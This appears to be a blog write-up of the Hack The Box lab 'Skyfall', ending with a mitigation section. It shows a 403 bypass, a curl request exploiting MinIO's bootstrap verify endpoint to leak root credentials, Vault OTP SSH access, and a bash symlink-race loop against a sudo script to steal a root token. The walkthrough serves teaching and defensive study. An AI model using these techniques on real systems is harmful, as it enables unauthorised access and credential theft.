Skyfall

Skyfall is an Insane level box that features 4xx bypass, information disclosure all leading to a ssh session using Hasicorp's vault otp mode, then privesc by very interesting symlink race exploitation.

Introduction

  • Machine Name: Skyfall
  • IP Address: 10.10.11.254
  • Difficulty: Insane

Information Gathering

I started scan with Rustscan. There were only two ports open.

 rustscan --ulimit 5000 -r 1-65535 -a $IP -- -T4 -Pn -A | tee -a scan.txt
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCVqvI8vGs8EIUAAUiRze8kfKmYh9ETTUei3zRd1wWWLRBjSm+soBLfclIUP69cNtQOa961nyt2/BOwuR35cLR4=
|   256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINk0VgEkDNZoIJwcG5LEVZDZkEeSRHLBmAOtd/pduzRW
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
| http-methods:
|_  Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80

When I go to the website, looking around found the possible domain given in the users section. I also noted down the users name in a list in case brute forcing has to be done.

jbond
askyy
btanner

Now looking again, I found a contact form. I tried exploiting it, but the form does not do anything useful. When submit is clicked, it just gets the home page with the details in query parameters added.

Another endpoint try our demo seems interesting. This opens up a subdomain demo. Added it to /etc/hosts. A login page which gives default creds guest\guest to login.

Upon login, I could see many attack points. There were forms, file upload and url query. I tried for xss to steal sessions but none of them worked. I tried for malicious file upload. But i was not able to make the server run that, it was just downloading it. There were two other paths, beta and metrics. But both of them gave 4** error.

Now since this is an insane box, I went on to try again on those forms, file upload etc. I found out that the app is made from flask. So tried even with that using hacktricks.

Image 1 Image 2

But after 2-3 hours, I gave up!!! 🫠🫠

After some needed break from this, thinking and remembering all info I know of enumeration, I luckily remembered that, sometimes restricted paths can be bypassed with methods like HTTP Methods fuzzing, different letter casings, different Protocol Version etc. All these can be found in Bypass hacktricks. I tried some of the methods manually but nothing was working, there were automated tools given in the references. Yessss!!! It was a success. One of the tools:Bypass 4xx errors found the bypass by appending %0A. Another tool nomore403 I found by searching was also successful in finding this.

 nomore403 -f ~/Pentesting/nomore403/payloads/ -H 'Cookie: session=<token_value>' -u http://demo.skyfall.htb/metrics

 ./byp4xx --all -xV -xH -xUA -xD -xS -xM -xX -H 'Cookie: session=<token_value>' http://demo.skyfall.htb/metrics

Image 1 Image 2

Bypassing the page, I land in a frontend for minio metrics. Looking at the entries, I found several useful information.

I added the subdomain to /etc/hosts. Going to the path, I found minio metrics.

MinIO is a high-performance, S3 compatible object store. It is built for large scale AI/ML, data lake and database workloads. It is software-defined and runs on any cloud or on-premises infrastructure. MinIO is dual-licensed under open source GNU AGPL v3 and a commercial enterprise license.

So now to try to read the storage, I searched online for a potential vulnerability for this version to have the necessary permissions, alas!!! I found one Minio vuln🥳. According to the post, a post request to the endpoint /minio/bootstrap/v1/verify would return all the environment variables of minio. I did a curl request and got the data. 🎉

 curl http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify -d ''
{"MinioEndpoints":[{"Legacy":false,"SetCount":1,"DrivesPerSet":4,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true}],"CmdLine":"http://minio-node{1...2}/data{1...2}","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_BROWSER":"off","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_PROMETHEUS_AUTH_TYPE":"public","MINIO_ROOT_PASSWORD":"Gkpjk********3oRx0","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"5GrE1********ZaIww","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key","MINIO_UPDATE":"off","MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"}}

Looking at the Minio Docs, I found a way to use these creds. To interact with the storage a cli tool mc is also available. To connect to the storage we need to add an alias with the root user and root password.

 mc alias set ALIAS HOSTNAME ACCESS_KEY SECRET_KEY

Now using mc alias list, i can see the endpoint is now accessible. Now mc has very similar commands to unix system to interact with files. I started enumerating the storage. Now in the docs I saw a version flag also which shows that similar to github, versioning of files might be done.

Image 1 Image 2
So I listed all the versions of available files in storage.
Image 1

 mc get --vid <ver_no> juicy/askyy/home_backup.tar.gz .

Going through all the files, every version, I found some juicy info. Some variable entries in the .bashrc file, and a terraform-generator.

export VAULT_API_ADDR="http://********.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU**********NMnZhakZDRlZGdGVzN09xYkxTQVE"

Looking on google for what both might say lead me to HashiCorp.

Image 1
Vault: Secure, store, and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets, and other sensitive data using a UI, CLI, or HTTP API.

So now, time to enumerate the vault. I found out that there is a CLI tool also available to interact with the vault. Looking at the help menu, noticed something, 😁😁 Now since, there was only port 22 left to be enumerated, I looked for the documentation to use this vault ssh.

The Vault SSH secrets engine provides secure authentication and authorization for access to machines via the SSH protocol. The Vault SSH secrets engine helps manage access to machine infrastructure, providing several ways to issue SSH credentials. ===> Meaning instead of password, I can use the OTP to login.
I added the earlier found variables to my .bashrc and sourced it. To test, I used the connection, I used the status argument, but met with an error, which also gave me a fix to correct the error🫠. Now running the vault status command again, I could see the information.

 vault token lookup
Key                  Value
---                  -----
accessor             rByv1coOBC9ITZpzqbDtTUm8
creation_time        1699563963
creation_ttl         768h
display_name         token-askyy
entity_id            n/a
expire_time          2073-10-27T21:06:03.043964076Z
explicit_max_ttl     0s
id                   hvs.******************zN09xYkxTQVE
issue_time           2023-11-09T21:06:03.445155372Z
last_renewal         2023-11-20T16:43:24.043964166Z
last_renewal_time    1700498604
meta                 <nil>
num_uses             0
orphan               true
path                 auth/token/create
policies             [default developers]
renewable            true
ttl                  432193h34m22s
type                 service

The token belongs to askyy user, so will be the ssh session then. 🙌 Looking at various articles: help-one help-two on how to interact with the vault. I found

 vault path-help ssh/
## DESCRIPTION
The SSH backend generates credentials allowing clients to establish SSH
connections to remote hosts.

There are two variants of the backend, which generate different types of
credentials: One-Time Passwords (OTPs) and certificate authority. The desired behavior
is role-specific and chosen at role creation time with the 'key_type'
parameter.

## PATHS
    ^roles/(?P<role>\w(([\w-.@]+)?\w)?)$
        Manage the 'roles' that can be created with this backend.

    ^roles/?$
        Manage the 'roles' that can be created with this backend.


 vault token capabilities ssh/
list


 vault kv list ssh/roles
Keys
----
admin_otp_key_role
dev_otp_key_role

Now looking at the output, I can see that out of the two ways of ssh, it uses the OTP method. The help-two shows two flags to be passed, -role and -mode. I have values for both. The -mode is otp, now out of the two values I have of -role, only the dev_otp_key_role worked and got the user askyy shell. 😁😁

Privilege Escalation

I looked now ways to privesc. Running sudo -l gave me that. Now there was no read/write access to the concerned files.

  • I tried command injection, but since a regex is being used, I was not able to bypass it.
  • While running with -v option, I noticed some high privileged token printed as ******,

Now adding the -d flag, the token is stored in a debug.log file in the same directory from where the script was run. But it was created with only access to root user. I tried creating the file beforehand, making it world-readable/writable, but no whenever I run the script, it removes the file if exists, then creates a new file with only root readable, then writes to it.

  • Next I tried by creating a symlink to another file hoping that the linked file will be written which I control then I can read it. But that linked file only got changed🫠🫠

I tried many different methods from here on. Tried different variations of the symlink method. I looked for sudo exploits. Tried making the script write to /dev/tcp, /dev/shm, /tmp, in every case either the file was not created or not readable. Even linpeas.sh did not gave me anything userful.

Now I got fed up and stopped this shit. 🙃🙃🙃

After 9 days 🥸🥸🥸

I started searching for various privesc methods online. Nothing interesting. Now I thought why not ask chatgpt(glad I did🫠). It gave me several methods that I had already tried, even the symlink one. After a lot of back and fourth, it was insisting me to try the symlink method. So I searched on google for potential exploits. I got this symbolic race attack article, which was the needed path for privesc.

Wikipedia: A symlink race is a kind of software security vulnerability that results from a program creating files in an insecure manner.[1] A malicious user can create a symbolic link to a file not otherwise accessible to them. When the privileged program creates a file of the same name as the symbolic link, it actually creates the linked-to file instead, possibly inserting content desired by the malicious user (see example below), or even provided by the malicious user (as input to the program). It is called a "race" because in its typical manifestation, the program checks to see if a file by that name already exists; if it does not exist, the program then creates the file. An attacker must create the link in the interval between the check and when the file is created.

So in this case, what I have to do is time the symlinking of debug.log file to a file controlled by me, my_log exactly between the script checking the file’s presence and creating it. So to do this, I need to

  • Create a script that will run continuously in a loop to do two things,
    • remove the debug.log file
    • create a symlink from debug.log file to my_log
  • In another terminal, keep on running the sudo script and checking if the my_log has been written with the contents of debug.log.

I created a toot directory in /home/askyy. I created a my_log file world readable/writable permissions. Then the following script, and executed it.

#!/bin/bash
while true; do
  rm -f /home/askyy/tmp/debug.log
  ln -s /home/askyy/tmp/my_log /home/askyy/tmp/debug.log
done

I got another ssh session in another terminal. Then kept on executing the following code to check the successful timing of the attack.

askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d; ls -la

After some 10-11 tries, I saw the contents had bee written to my_log file. s

So it had another vault token, obviously after all this, it should be the root user’s token only 🫠🫠🫠 I replaced the earlier token in my .bashrc with this new one. Then using the admin_otp_key_role, was able to login to root user’s ssh session.

Mitigation Techniques

  1. Restrict Access to Sensitive Pages:

    • Ensure that access to sensitive pages such as MinIO metrics is properly restricted. Use proper authentication and authorization mechanisms to prevent unauthorized access.
    • Implement IP whitelisting and network segmentation to limit access to administrative interfaces.
  2. Secure Credentials and Sensitive Information:

    • Avoid storing sensitive information, such as credentials and tokens, in publicly accessible places or environment variables. Use secrets management solutions like HashiCorp Vault to securely store and access credentials.
    • Regularly audit and rotate credentials to minimize the impact of any potential disclosure.
  3. Proper File Permissions:

    • Ensure that sensitive files, such as logs and configuration files, have appropriate permissions set to prevent unauthorized access. Use least privilege principle when setting file permissions.
    • Regularly audit file permissions and access controls to ensure compliance with security policies.
  4. Implement Security Controls for Command Line Tools:

    • Restrict the use of command line tools like minio mc and HashiCorp Vault CLI to authorized users only. Ensure that only necessary commands are available to users.
    • Implement logging and monitoring for the use of such tools to detect and respond to any unauthorized or suspicious activity.
  5. Mitigate Symlink Race Vulnerabilities:

    • Validate and sanitize all inputs and file paths to prevent symlink attacks. Ensure that temporary files and directories are created in secure locations.
    • Use secure programming practices to avoid race conditions and ensure atomic operations when dealing with file system operations.
  6. Monitor and Respond to Anomalous Activities:

    • Implement continuous monitoring and alerting for unusual activities, such as unauthorized access attempts, sensitive file modifications, and unexpected command executions.
    • Have an incident response plan in place to quickly respond to and mitigate any detected security incidents.

Conclusion

The Skyfall HTB box showcased several critical vulnerabilities that could lead to a full system compromise. By identifying and exploiting weaknesses in access control, sensitive information disclosure, and file permission configurations, an attacker could escalate their privileges and gain root access. To prevent such security breaches, it is crucial to implement comprehensive security measures, including proper access controls, secure storage and handling of sensitive information, regular auditing of file permissions, and monitoring of system activities.

References

Built with Hugo
Theme Stack designed by Jimmy